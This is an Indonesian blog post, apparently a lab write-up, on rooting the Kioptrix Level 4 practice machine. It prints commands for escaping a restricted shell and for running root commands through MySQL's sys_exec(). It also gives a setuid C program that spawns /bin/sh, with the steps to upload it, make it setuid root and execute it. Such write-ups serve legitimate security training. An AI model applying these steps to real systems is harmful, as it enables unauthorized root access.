Searching...
June 25, 2012

Kioptrix 4 Rooting from Vulnerable Database

Belakangan ini, saya menemukan vulnerability baru pada kioptrix level 4. Vulnerability ini terletak pada database, yang memiliki hak akses sebagai root, sehingga MySQL dapat membuat file dengan root sebagai pemiliknya. Hal ini memungkinkan attacker untuk memodifikasi file-file yang bersifat sensitif seperti passwd, dan shadow.

Mari kita lihat kembali postingan sebelumnya mengenai rooting Kioptrix 4 hanya dengan menggunakan SQLmap. Pada alur penyerangan di atas, attacker membuat file baru pada direktori /etc/cron.d dengan root sebagai user yang akan mengeksekusi file tersebut. Attacker mengatur root untuk melakukan koneksi netcat dengan mengeksekusi /bin/bash setelah koneksi terjadi. Attacker hanya menggunakan database MySQL untuk membuat file exploit pada direktori /etc/cron.d. Dari sinilah sebuah metode rooting kembali ditemukan.

Saya akan mengajak anda kembali pada postingan SQL Injection Level 4 Part 2, diketahui bahwa terdapat 2 akun yang dapat kita gunakan untuk login kedalam mesin kioptrix. Yaitu user john dan robert. Anda sebenarnya dapat langsung mengakses secure shell dengan perintah ssh 'username'@'domain' untuk dapat login ke dalam kioptrix 4.

Kali ini saya mengambil username john sebagai uji coba keberhasilan exploit root ini. Karena password john lebih mudah daripada password robert. ;)
Perlu diketahui juga, bahwa kioptrix 4 telah dipersenjatai dengan perisai shell yang disebut secure shell. Secure shell mencegah user untuk mengeksekusi perintah tertentu. Dalam hal ini, user hanya memiliki batas tiga kali melakukan kesalahan sebelum akhirnya di kicked out oleh system. 


Telah kita ketahui bahwa secure shell yang dimiliki oleh kioptrix 4 memungkinkan user untuk mengeksekusi perintah echo, cd, clear, ll, exit, ?, help, lpath, ls. Untuk keluar dari secure shell, kita harus mendapatkan bash interpreter. Caranya mudah sekali, cukup masukan perintah

Command :
echo os.system("/bin/bash") 

Dan bash interpreterpun telah tereksekusi, sehingga tidak ada limitation dalam mengeksekusi sebuah perintah. Kita telah berhasil membobol secure shell, lalu bagaimana cara mengangkat privilege kita menjadi root?

Setelah masuk kedalam system dengan ssh, kita akan mulai information gathering, dimulai dari kebenaran vulnerability yang ditemukan pada database MySQL kioptrix 4.

 

Saya beralih ke direktory /tmp, kemudian membuat file red-dragon dengan database mysql menggunakan perintah SELECT sys_exec.


Command :
mysql > select sys_exec('COMMAND HERE');


Sebagai contoh, saya akan membuat file red-dragon pada direktory /tmp. Maka perintah SQLnya adalah:


Command :
mysql > select sys_exec('touch /tmp/red-dragon');

Kemudian kita kembali lagi pada bash console, dan melihat ownership file ini dengan perintah



Command :
$ ls -lah /tmp/red-dragon


Ternyata file ini milik root, ini berarti sebuah vulnerable yang fatal dimana scrip bahasa C yang sederhana dapat mengangkat privileges user biasa, menjadi root. Semenjak kita tau bahwa kioptrix4 tidak memiliki GCC, maka saya melakukan kompile pada backtrack, kemudian mengupload file ini yang selanjutnya akan diupload ke dalam komputer korban.


Pertama, saya buat file exploit.c pada direktori /tmp. Mengapa /tmp? Ini karena agar saya tidak perlu repot menghapus file ini kelak, karena setiap file yang ada di folder /tmp akan dihapus setiap komputer melakukan halting. Bagaimana wujud script bahasa C yang saya gunakan?

Command :
int main(){setresuid(0, 0, 0);setresgid(0, 0, 0);system( "/bin/sh" );return 0;}


Enam baris script ini akan mengangkat privilege john menjadi root. Langsung saja saya compile script ini dengan bantuan GCC.



Command :
root@red-dragon:/tmp# gcc exploit.c -o exploit

Perintah diatas akan menkompilasi file exploit.c, dan hasil compile diberi nama exploit. Secara default, file ini akan memiliki +x permission, atau bisa dieksekusi.


Kioptrix juga telah dipersenjatai dengan iptables, sehingga atacker tidak dapat sembarang mengupload file exploit ke dalam system exploit. Hal ini dikarenakan kioptrix telah mengatur iptables untuk memutus koneksi yang keluar menuju port 21 (FTP), 4444 (Standar Port Listener Metasploit), 80 (HTTP). Untuk itu saya menggunakan module python yang bernama Simple HTTP Server yang membuka port listener pada port 8000. Port 8000 tidak difilter oleh kioptrix, sehingga atacker dapat mengupload file exploit melalui port ini dengan perintah wget.


Perlu diketahui juga, module Simple HTTP Server menggunakan home direktory sesuai dengan current directory bash interpreter anda. Jika anda menjalankan module ini pada folder /root, maka home directory module ini juga berada di root, sehingga memungkinkan penyusup mendownload file anda yang berada pada directory root. Usahakan anda menjalankan module ini pada folder yang sama ketika anda melakukan compile exploit. Dalam hal ini saya melakukannya pada direktory /tmp. Untuk menjalankan module simpe http server, cukup masukan perintah:

Command :
root@red-dragon:/tmp# python -m SimpleHTTPServer


Setelah module berhasil dieksekusi, langkah selanjutnya adalah mengirim file expoit kita ke system kioptrix dengan bantuan wget.


File exploit kita telah berhasil diupload ke system pada direktory /tmp. Hal yang perlu diketahui agar file root exploit ini berjalan, adalah dengan mengubah file ownership, dan file permission. Anda harus mengubah file permission menjadi +s,a+rwx, dan mengubah ownership menjadi root. Untuk melakukan pengubahan file permission dan ownership, anda harus memiliki hak akses root. Untuk itu kita akan kembali menggunakan MySQL untuk mengeksekusi perintah shell, dengan sys_exec().

Pertama, kita akan mengubah file permission.

Command :
mysql > SELECT sys_exec("chmod +s,a+rwx /tmp/exploit");

Atau

Command :
john@Kioptrix4:/tmp$ mysql -u root -e "select sys_exec('chmod +s,a+rwx /tmp/exploit');"


Setelah kita merubah file permission, maka file permission akan menjadi -rwsrwsrwx. Selanjutnya kita akan mengubah file ownership ini menjadi milik root. Mengubah ownership-pun harus menggunakan hak akses root. Untuk itu kita akan menggunakan MySQL lagi untuk mengeksekusi perintah sys_exec().

Command :
mysql > SELECT sys_exec("chown root:root /tmp/exploit");

Atau

Command :
john@Kioptrix4:/tmp$ mysql -u root -e "select sys_exec('chown root:root /tmp/exploit');"


Setelah file ownership telah diubah, kita hanya perlu mengeksekusi file ini untuk menjadi root.

Command :
john@Kioptrix4:/tmp$ ./exploit

Kemudian cek dengan perintah id


You are so.....


OWNED by : red-dragon

2 comment:

Post a Comment

 
Back to top!